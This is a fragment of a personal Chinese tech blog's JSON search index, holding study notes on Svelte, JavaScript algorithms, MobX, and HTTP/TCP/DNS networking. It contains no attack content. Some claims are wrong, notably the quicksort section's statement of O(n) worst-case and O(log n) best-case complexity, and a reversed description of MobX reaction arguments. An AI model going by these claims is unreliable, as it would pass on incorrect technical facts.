Design组件库"},{"content":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\n\u0026lt;script\u0026gt;\rlet name = 'world'\r\u0026lt;/script\u0026gt;\r\u0026lt;h1\u0026gt;Hello {name}!\u0026lt;/h1\u0026gt;\r导入组件\nimport Hallo from './hallo.svelte'\r...\r\u0026lt;Hallo/\u0026gt;\r如果想将HTML渲染到组件中可以使用 let string = \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; {@html string}\n事件响应\nfunction aClick() {\rcount += 1\r}\r...\r\u0026lt;button on:click={aClick}\u0026gt;{count}\u0026lt;/button\u0026gt; ","permalink":"https://xiaochenabc123.github.io/posts/80/","summary":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\n\u0026lt;script\u0026gt;\rlet name = 'world'\r\u0026lt;/script\u0026gt;\r\u0026lt;h1\u0026gt;Hello {name}!\u0026lt;/h1\u0026gt;\r导入组件\nimport Hallo from './hallo.svelte'\r...\r\u0026lt;Hallo/\u0026gt;\r如果想将HTML渲染到组件中可以使用 let string = \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; {@html string}\n事件响应\nfunction aClick() {\rcount += 1\r}\r...\r\u0026lt;button on:click={aClick}\u0026gt;{count}\u0026lt;/button\u0026gt; ","title":"Svelte学习笔记"},{"content":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) {\rif(nums == null || nums.length == 0){\rreturn 0\r}\rlet b = 0\rfor(let a=0;a\u0026lt;nums.length;a++){\rif(nums[b]!=nums[a]){\rnums[++b] = nums[a]\r}\r}\rreturn ++b\r}\rb作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上\n搜索数组的目标值，返回其索引值\n通过有序整型数组和一个目标值，寻找目标值，并且返回其索引值，当目标值不存在时，返回-1\nlet search = function(nums, target) {\rfor(let a=0;a\u0026lt;nums.length;a++){\rif(nums[a] == target){\rreturn a\r}\r}\rreturn -1\r}\r字符串反转\n将数组nums里面的字符串，顺序倒过来，在不创建新数组的位置前提下\nlet reverseString = function(nums) {\rvar a=0,b=nums.length-1\rwhile(a\u0026lt;b){\rlet temp =nums[a]\rnums[a] = nums[b]\rnums[b] = temp\ra++\rb--\r}\r}\r二分查找\n二分查找实质就是将数组分开，用中间的数值来对目标值进行比较，大了就是减，小了就加\n一直找到最后的那个目标值，这个算法对比冒泡一个个查找更有效，因为其只需要遍历极少的次数\n注意：二分查找必须是有序数组，无序数组没有用，因为它要一个个进行大小比较\n像猜1到100的数，就可以从50开始比较，如果50大了，那么就是1到49之间有目标值，如果猜25，如果小了，那么就是26到49的之间有目标数，一直判断，直到等于目标值，依此类推，每次判断都会少一半的错误值，例如：n个元素的列表，二次查找的只需要log2n次就可以找到目标值（log是指对数，指的是对求幂的逆运算，例如6的3次方就是216，那么用对数表示为log6 216，求6要相乘几次才能得到216这个结果，结果为3）\n例如：\nfunction xyz(list,int){\rvar a = 0\rvar b = list.length -1\rwhile (a \u0026lt;= b) {\rvar c = a + Math.floor((b - a) / 2) if(list[c] \u0026lt; int){\ra = c +1\r}else if(list[c] \u0026gt; int){\rb = c - 1\r}else{\rreturn c\r}\r}\rreturn -1\r}\rvar abc = [1,3,5,6,7,10,30,55,66,99,1234]\rxyz(abc,99)\r如果猜测的次数和列表长度相同，那么就是线性时间（linear time，O(n)），算法的运行时间会以不同的速度而增加，对数为O(log n )\n选择排序（链表和数组）\n链表指的是链表中的元素可以存储在内存的任何地方，链表的优点在于插入元素（删除元素），只需要O(1)就可以了，但是因为它索引的地址是随机的，因此读取一个元素，可能需要O(n)\n数组的优点在于读取元素，只需要O(1)就可以了，而插入元素，就可能需要O(n)了，因为直接插入元素到数组，需要将后面的元素往后移动，而大0表示法是指最糟糕的情况，并不是一定要执行那么多次\n注意：数组索引编号是从0开始的\n选择排序的时间复杂度是O(n²)，该算法是先在找到最大或者最小的元素，放在排序序列的起始位置，然后再从剩余的序列中继续寻找最大或者最小的元素，将其放在已经排序的序列的末尾，重复，一直到全部元素都排序完毕\n例如：\nfunction data(arr) {\rconst len = arr.length // 获取目标的长度\rlet minindex, temp // 定义最小索引和排序存储\rfor (let i = 0; i \u0026lt; len - 1; i++) {\rminindex = i // 获取当前最小索引（待排序）\rfor (let j = i + 1; j \u0026lt; len; j++) {\rif (arr[j] \u0026lt; arr[minindex]) { // 寻找最小的数\rminindex = j //将最小的数的索引进行存储\r}\r}\rtemp = arr[i] // 最小索引的值等于temp\rarr[i] = arr[minindex] // 最小索引的值等于最小的数的索引\rarr[minindex] = temp // 最小的数的索引等于temp\r}\rreturn arr\r}\rconst abc =[1,3,5,2,9,4,6,10,7,18,8]\rdata(abc)\r递归\n\u0026ldquo;Loops may achieve a performance gain for your program. Recursion may achieve a performance gain for your programmer. Choose which is more important in your situation!\u0026rdquo;\u0026mdash;Leigh caldwell\n递归说白了就是递归函数自己调用自己，因为存在自己调用自己的情况，因此要确保递归函数在什么情况就应该停止，而不是无限循环下去，递归函数要有俩个条件，基线条件（base case）和递归条件（recursive），递归条件就是递归函数调用自己，基线条件是在什么条件下不再调用自己（例如将递归条件放在一个if判断中，当满足递归条件就递归，不满足就基线条件）\n栈（call stack）\n栈是一种数据结构，存在着转移控制权，转移数据，清除或者释放数据的特性（临时存储，压入，弹出），可以用来存储多个函数的变量，当需要该变量的时候插入，不需要就弹出，当栈很高的时候，会导致存储了大量函数要调用的变量，会占用大量的内存，因此在这种情况下循环或者尾递归可能更好\n递归：如果一个函数可以在内部调用其本身，那么这个函数是递归函数，函数内部自己调用自己\n递归效果和循环是一致的，所有递归容易出现栈溢出错误（stack overflow），需要加上退出条件return\n例如：\nvar num = 1;\rfunction hallo(){\rconsole.log(num);\rif(num == 10){\rreturn;\r}\rnum++;\rhallo();\r}\rhallo();\r递归求阶乘\n阶乘：指的是一个正整数的阶乘是所有小于及等于该数的积，并且0的阶乘为1\nfunction hallo(num){\rif(num == 1){\rreturn 1;\r}\rreturn num * hallo(num - 1)\r}\rconsole.log(hallo(10)) // 3628800\r递归求斐波那契数列（兔子序列）\n特点，第一个数加第二个数等于第三个数，第二个数加第三个数，依次类推\n因此需要计算得到斐波那契数列对应数字，只需要指定位置的前两项（n-1，n-2）就可以得出第n个斐波那契数列对应的数字\n例如：\nfunction hallo(num){\rif(num == 1 || num == 2){\rreturn 1;\r}\rreturn hallo(num-1) + hallo(num-2);\r}\rconsole.log(hallo(10));\r快速排序\ndivide and conquer（D\u0026amp;C）：找出基数条件，分解问题（缩小问题的规模），一直到符合基数条件\n注意：D\u0026amp;C定义要求每次递归调用，都必须缩小问题的规模，（缩小问题的规模可以依赖于欧几里得算法（求最大公约数的算法））\n当基数条件为数组为空或者只有一个元素时，直接返回数组（因为不需要排序），因此快速排序的元素个数必须大于等于2\n快速排序的工作原理就是从数组中选择一个元素，这个元素叫基准值（pivot），然后找到比基准值小的元素和比基准值大的元素，这时候有一个比基准值小的数值组成的子数组和一个比基准值大的数值组成的子数组，和一个基准值，这个被叫为分区（partitioning），如果子数组是有序的，直接左边子数组加基准值加右边子数组就完成排序了，如果不是有序的，那么将那俩个子数组进行快速排序，再合并（当子数组只有一个元素，那么就不需要进行排序了）\n快速排序的时间复杂度取决于基准值，快速排序平均情况下，时间复杂度为O(n log n)，一般情况下大O表示法会忽略常量（算法所需要的固定量），因为在数量很大的计算中，常量根本没有影响，但是当时间复杂度相同的时候，就可以看常量了，常量越小，算法的时间复杂度越小，最糟糕的情况下快速排序的时间复杂度为为O(n)，而最佳情况下为O(log n)\n散列表（散列映射，字典，关联数组）\n散列函数：当输入一个数据，将返回一个数据，而且返回的数据是一致的（输入数据一样的情况下，得到的数据必须要一样，输入不同数据的时候，得到的数据也必须不一致），散列函数必须知道数组有多大（只返回有效数据），散列函数精确指出某个数据的存储位置，不需要查找，平均情况下时间复杂度为O(1)\n散列表由键和值组成，当输出键或者值的时候，可以获得对应的值或者键，散列表可以用于避免出现重复数值，缓存（记住数据，避免重新计算数据或者重新处理数据）\n注意：如果散列表存储的链表很长，那么散列表的速度将会变慢，而且还可能存在冲突（多个数据占用一个位置，如果要解决冲突，只能在这个位置上再建立一个链表，来存储多个数据）\n填装因子：计算数组被占用的位置数，算法为散列表包含的元素数除以位置总数，得到的值为该散列表的填装因子，当填装因子大于1的时候，就表示该数组位置数不足，必须要添加位置（调整长度（resizing）），填装因子越小，出现冲突的可能就越小，散列表的性能就越高\n广度优先搜索（breadth-first search，BFS）\n广度优先搜索可以解决最短路径问题（shortest-path problem），用于图的查找算法\n图由一个个节点和边组成，一个节点可能和多个节点之间直接相连，那么这些节点又被叫为邻居，图被用于模拟不同的东西是如何相连的\n广度优先搜索可以解决图的两个问题，在某节点上，有前往某个节点的路径吗?和在某节点上，怎么前往某个节点最快，广度优先搜索的原理就是先搜索和起点直接连接的节点（一度关系），再查找二度关系（和二度关系有直接连接的节点），从起点开始向外延伸，如果目标在一度关系上，那么前往该目标的节点存在，而且可以直接前往，如果目标在二度关系上，那么找到二度关系于一度关系相连的路径上，这必须按照添加的顺序才能查找出来\n队列（queue）：一种先进先出的数据结构（First In First Out，FIFO），栈则是后进先出的数据结构（Last In First Out，LIFO）\n深度优先算法\n狄克斯特拉算法\n贪婪算法\n动态规划\nK最近相邻算法\n堆/栈/队列/优先级队列\n链表/反向链表/Hash/二叉树/红黑树\n大O标识法和时间复杂度\n","permalink":"https://xiaochenabc123.github.io/posts/79/","summary":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) {\rif(nums == null || nums.length == 0){\rreturn 0\r}\rlet b = 0\rfor(let a=0;a\u0026lt;nums.length;a++){\rif(nums[b]!=nums[a]){\rnums[++b] = nums[a]\r}\r}\rreturn ++b\r}\rb作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上","title":"算法学习笔记"},{"content":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save\r或者\nyarn add mobx mobx-react --save\r导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \u0026quot;mobx\u0026quot;\rimport {observer} from \u0026quot;mobx-react\u0026quot;\r注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx'\rconfigure({enforceActions: true})\robservable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5])\rconsole.log(appdata[1])\rappdata = observable({a:1,b:2,c:3})\rconsole.log(appdata.a)\rappdata.a += 1\rconsole.log(appdata.a)\rappdata = observable.box(100)\rconsole.log(appdata)\r响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){\rreturn this.count * 2\r},\rincrement(){\rthis.count += 1\r},\rdecrement(){\rthis.count -= 1\r},\r},{\rcount: observable, // 响应的属性\rdouble: computed, // 计算属性\rincrement: action, // 修改状态\rdecrement: action, // 修改状态\r})\rmakeAutoObservable（自动配置observable，action，computed，全部自有属性都为observable，全部getters为computed，全部computed都为action）\nconst store = makeAutoObservable({ count: 666,\rget double(){\rreturn this.count*2\r},\rincrement(){\rthis.count+=1\r},\rdecrement(){\rthis.count-=1\r}\r})\r计算属性（observable.box）\nlet datas = observable.box(1000)\rlet dataa = observable.box(666)\rlet abc = computed(function(){\rreturn dataa + datas\r})\rconsole.log(abc.get())\r操作状态（添加观察者，当状态发生变化，就会触发）\nautorun(() =\u0026gt; {\rappdata.datas = appdata.datas + 1\rconsole.log(appdata.datas)\r})\r监听数据变化（当store的状态发生改变，autorun方法就会被调用）\nlet xyz = observable({\rtitle: \u0026quot;hello world\u0026quot;\r})\rautorun(() =\u0026gt; {\rconsole.log(xyz.title)\r})\rxyz.title = \u0026quot;hallo mobx\u0026quot;\r当被观察数据被修改时，autorun()就会被触发\nreaction监听\nreaction(() =\u0026gt; store.count,\r(a, b) =\u0026gt; {\r// 当store.count修改就会被调用\r// 第一个值是当前值，第二个值为修改后的值\rconsole.log(a - b)\r}\r)\rwhen监听\nwhen(() =\u0026gt; store.count \u0026gt; 666, () =\u0026gt; {\rconsole.log(store.count)\r})\r(async function() {\r// when还会返回一个promise\rawait when(() =\u0026gt; store.count \u0026gt; 666)\rconsole.log('store.count \u0026gt; 666')\r})()\rMobx和Redux的比较：Redux通过限制数据的修改，Store中的数据是不可修改，只能通过action来修改，减少冗余。而Mobx就是通过自动更新来确保数据一致\nmobx鼓励使用多个store仓库，而Redux鼓励一个应用使用一个Redux仓库\n","permalink":"https://xiaochenabc123.github.io/posts/78/","summary":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save\r或者\nyarn add mobx mobx-react --save\r导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \u0026quot;mobx\u0026quot;\rimport {observer} from \u0026quot;mobx-react\u0026quot;\r注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx'\rconfigure({enforceActions: true})\robservable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5])\rconsole.log(appdata[1])\rappdata = observable({a:1,b:2,c:3})\rconsole.log(appdata.a)\rappdata.a += 1\rconsole.log(appdata.a)\rappdata = observable.box(100)\rconsole.log(appdata)\r响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){\rreturn this.count * 2\r},\rincrement(){\rthis.","title":"Mobx学习笔记"},{"content":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误\n域名dns解析，发起TCP的3次握手，建立TCP连接发起http请求，服务器响应http请求，发送资源，浏览器得到资源后进行解析渲染\nTCP的三次握手：\n握手的目的是进行信息的同步，tcp是一种可靠连接，客户端和服务端会经历建立连接的阶段，而这个建立TCP连接的过程就是所谓的握手（握手实质是发送TCP报文）\n第一次握手客户端向服务器发送一个SYN段为1（Seq为随机数）的TCP/IP数据包（客户端进入SYN_SENT状态，已发送同步数据）\n第二次握手服务器返回客户端SYN和ACK（SYN为1，ACK为上一次握手Seq的值+1，Seq又为另一个随机数）的TCP/IP数据包（服务端进入SYN_RECVD状态，表示同步数据已收到）\n第三次握手客户端返回一个ACK段为上一次握手的Seq的值+1，Seq的值为另一个随机数的TCP/IP数据包给服务器（客户端接收到ACK为1的确认报文，正式进入连接状态）\nACK和Seq实质上是确认服务器和客户端都可以正常响应的（响应没有丢失，并且传输的数据也正确），只有三次握手完成才能建立HTTP连接\nTCP四次挥手\nTCP四次挥手是指关闭TCP连接的过程（断开TCP连接）\n第一次：当客户端的某个数据传输完毕后需要断开连接，向TCP发送FIN=1（报文段），要求停止再发送数据，关闭TCP连接（客户端进入FIN_WAIT_1状态，终止等待）\n第二次：服务端收到报文段并且发送确认报文段（ACK=1），进入等待关闭的状态（服务端进入CLOSE_WAIT状态（关闭等待））\n第三次：当服务端的数据传输完毕后，服务端发送连接断开的报文段（FIN = 1,ACK=1），进入最后的等待状态（服务端进入LAST_ACK状态，最后的确定）\n第四次：当客户端收到服务端的断开的报文段（FIN = 1），并且发送确认的报文段（ACK = 1），进入等待状态（CLOSe状态）\n实质上完成四次挥手也是没有断开的，需要经过等待定时器2MSL，才会关闭，保证下一次新连接中不会出现以前连接遗留的报文段\n2MSL即两倍的MSL，TCP的TIME_WAIT状态也称为2MSL等待状态\nTIME_WAIT状态是为了避免网络问题，导致ACK报文无法被对方接收到，而利用这个时间来重发可能丢失的报文\nMSL(Maximum Segment Lifetime)报文最长存活时间，表示报文可以存活的最长时间，而2MSL足以让客户端的报文和服务端的报文都失效了，确保没有当前的连接的报文还存活\n注意：如果在等待时间内，接收到了FIN字段的报文将会导致2MSL重新计算，直到没有接收到FIN字段的报文，并且也过了2MSL后才会断开TCP连接\nHTTP 1.1可以在一次连接中处理多个请求，请求排队处理，而不像1.0那样每一次请求都要建立单独的TCP连接，每一次请求完毕后，自动释放\n设置请求优先级，在一次连接中处理多个请求，必定会出现请求堵塞，因此，给请求设置优先级，重要的请求先得到响应\n请求头压缩，基于https的加密协议传输\nHTTP 2.0性能提升，可以在一次连接中处理多个请求，而且还是并行进行的，不会出现堵塞问题\nconst errorMessage = [\r{ code: 400, msg: '请求错误' },\r{ code: 401, msg: '未授权，请登录' },\r{ code: 403, msg: '拒绝访问' },\r{ code: 404, msg: '请求地址出错' },\r{ code: 408, msg: '请求超时' },\r{ code: 500, msg: '服务器内部错误' },\r{ code: 501, msg: '服务未实现' },\r{ code: 502, msg: '网关错误' },\r{ code: 503, msg: '服务不可用' },\r{ code: 504, msg: '网关超时' },\r{ code: 505, msg: 'HTTP版本不受支持' }\r]\rhttp的特点：可以根据协议头的head的数据类型，来完成不同的数据类型的传输，而且能保持连接（http1.0是非长时间连接，这里的保持连接指的是HTTP1.1的KeepAlive），不区分连接者的身份（无法分辨该客户是否访问过）\nhttp请求报文：由请求行（HTTP协议版本，URL字段，方法字段），请求头（向服务端请求要什么类型的什么数据），空行（提示服务端，请求头已经发送，不会再有请求头），请求体（数据）组成\nhttp响应报文：由响应行（HTTP协议版本，状态码），响应头（响应数据是什么类型的），空行（提示客户端，响应已经发送，不会再有响应），响应体（数据）组成\nHTTP CODE：表示服务器对请求的处理结果，常见的状态码有404，200，301，502，401等等\nTCP心跳机制：客户端每隔一段时间发送心跳包给服务端，通知服务端自己还在线，可以保持长连接\nKeepAlive模式（持久连接/连接复用）：可以在发送响应后的一段时间内保持连接，并且允许在同一个连接中存在多次数据请求和响应，而非KeepAlive模式就是会在响应后立刻断开连接，再新建一个连接来请求和响应，只有HTTP1.1支持KeepAlive模式\n管线化：在持久连接下，会将请求一起打包发送（多请求），然后服务端也是打包响应（多响应），管线化必须在持久连接下完成，而且只有GET和HEAD请求支持管线化，POST有所限制，首次连接不会使用管线化机制（避免服务端不支持HTTP1.1）,而且管线化不会影响响应返回的顺序\nTCP和UDP区别：tcp在发送之前需要连接，udp在发送之前不需要连接，tcp协议保证发送的数据不丢失（并且按照顺序接收），而udp并不能保证数据可靠，数据不丢失，不重复。tcp是字节流，udp是报文流，UDP没有堵塞系统（在网络堵塞的情况，不会影响源的发送量），tcp连接是点对点，udp的连接是可以一对一，一对多，多对一，多对多的，TCP首部开销为20字节，udp为8字节，tcp为可靠信道，udp为不可靠信道\n(TCP可靠在会记录那些数据发送了，又有那些数据被接收了，那些数据没有被接收，数据包按序到达，不允许出现半点差错，tcp连接需要三次握手，四次挥手来建立连接和结束连接)\nudp确保传输可靠：传输层已经不可靠，只能在应用层添加可靠传输的机制，例如超时重新发送，添加序号（根据序号有序发送/请求），时间戳等等，或者UDT（UDP-based Data Transfer Protocol）\n(TCP在高速长距离网络上性能很差)\nudt基于udp协议，引入拥塞控制和数据可靠性控制机制。UDT是面向连接的双向的应用层协议。并且同时支持可靠的数据流传输和部分可靠的数据报传输，支持点对点(p2p)\ntcp第三次握手可以携带数据发送（客户端处在ESTABLISHED状态）\nhttp和https\nhttp是无状态协议（无状态指客户端和服务端之间无需建立持久连接，当客户端发送请求，服务端返回响应后将关闭连接，服务端不保留任何有关连接的信息）\nhttps是指基于http协议加上了ssl层，https默认端口为443\n对称加密技术：加密和解密使用同一密钥，意味着数据传输过程中需要将密钥也一同传输（这个过程很危险）\n非对称加密：加密使用公钥，解密使用私钥（也可反过来），反正加密和解密是分别使用不同的密钥，这个过程是服务端将公钥分发到网络上，客户端获取到该公钥，客户端的数据使用公钥进行加密（无法使用公钥来解密），服务端获取到加密的数据后，通过服务端的私钥进行解密，来获取正文\nURL（Uniform Resource Locator，统一资源定位符）\nURN（Uniform Resource Name，统一资源名）\n流量控制和拥塞控制\n流量控制指的是限制（控制）发送者的发送速度，避免发送数据过快，接收者来不及接收，流量控制通过滑动窗口协议（连续ARQ协议）实现，通过接收方返回的ACK包（包含接受窗口大小），利用接受窗口大小来限制（控制）发送方的数据发送\n拥塞控制\n拥塞控制目的是防止网络负载过大，TCP的4大拥塞控制算法的，慢开始算法，拥塞控制算法，快重传算法，快恢复算法\n慢开始算法：通过cwnd（congestion window）值来控制（如果cwnd为1，那么只能发送1个数据报文段）\n慢开始算法的思路就是一开始不发送大量的数据，先测一下网络的拥塞的大小，从小到大逐渐增长拥塞窗口，慢开始门限初始值为16，cwnd初始化为一个报文段（慢开始算法只在TCP连接建立时和网络超时才使用）\n拥塞控制算法：控制拥塞窗口缓慢增长，思路是每经过一次RTT往返后，拥塞窗口（cwnd）加1，线性缓慢增长，当cwnd=16（慢开始门限），改执行拥塞控制算法，线性增长（当cwnd\u0026gt;=ssthresh时，执行拥塞控制算法），ssthresh指的是慢开始门限\n例如：当网络出现拥塞时，将下降慢开始门限（ssthresh）到cwnd/2的值，cwnd设置为1，执行慢开始算法，当cwnd=ssthresh，执行拥塞控制算法\n快重传算法：需要接收方收到失序的报文段时立刻发出重复确认（接收连续收到3次同一个重复确认，执行快重传算法，立刻重新发送丢失的数据，不等待超时时间过期），例如某个报文段被超时期限内没有收到确认信息，则认定为网络拥塞了，这时cwnd设置为1，慢开始门限（ssthresh）下降（下降一半）\n快恢复算法：快恢复算法是搭配快重传算法使用的，必须发送方接收到3个重复确认，执行快重传算法后才执行快恢复算法，（但是考虑网络出现拥塞可能收不到重复确认，所以发送方会认为网络没有拥塞，设置swnd等于ssthresh/2，执行拥塞控制算法，让cwnd线性增长）\n题外扩展1：socket是计算机之间进行通信的一种约定或一种方式，翻译为中文叫套接字，socket起源于unix的进程通信机制，可通过socket来向网络发送请求或者回复网络请求，socket是应用层和TCP/IP协议族通信的抽象层\n题外扩展2：webSocket是在单个TCP连接上进行全双工通信(full-duplex)的协议，允许服务端主动向客户端发送数据，在webSocket中，客户端和服务端只需要完成一次握手就是可以建立持久性连接，并且进行双向数据传输\n当浏览器访问一个域名时，发送了什么事情？\n客户端（浏览器端）访问域名，该域名下的DNS解析服务器将解析出ip地址，并且通过该ip地址找到目标web服务端\n客户端通过tcp3次握手和服务端建立TCP连接，客户端根据需求，向web服务端发送http请求报文，向服务器请求所需要的资源文件，web服务端接收到http请求报文，根据要求返回HTTP响应报文\n如果请求资源是html文档，则将对应目录下的HTML文档，以响应内容的方式返回给客户端，而当请求资源是php文件或者jsp文件时，由于web服务器无法处理php脚本或者jsp脚本文件，需要委托给专门的php引擎或者jsp引擎，引擎动态解析成html，然后将其返回给web服务器，web服务端再发送给客户端\nhttp的长连接（复用tcp/http连接）\nConnection 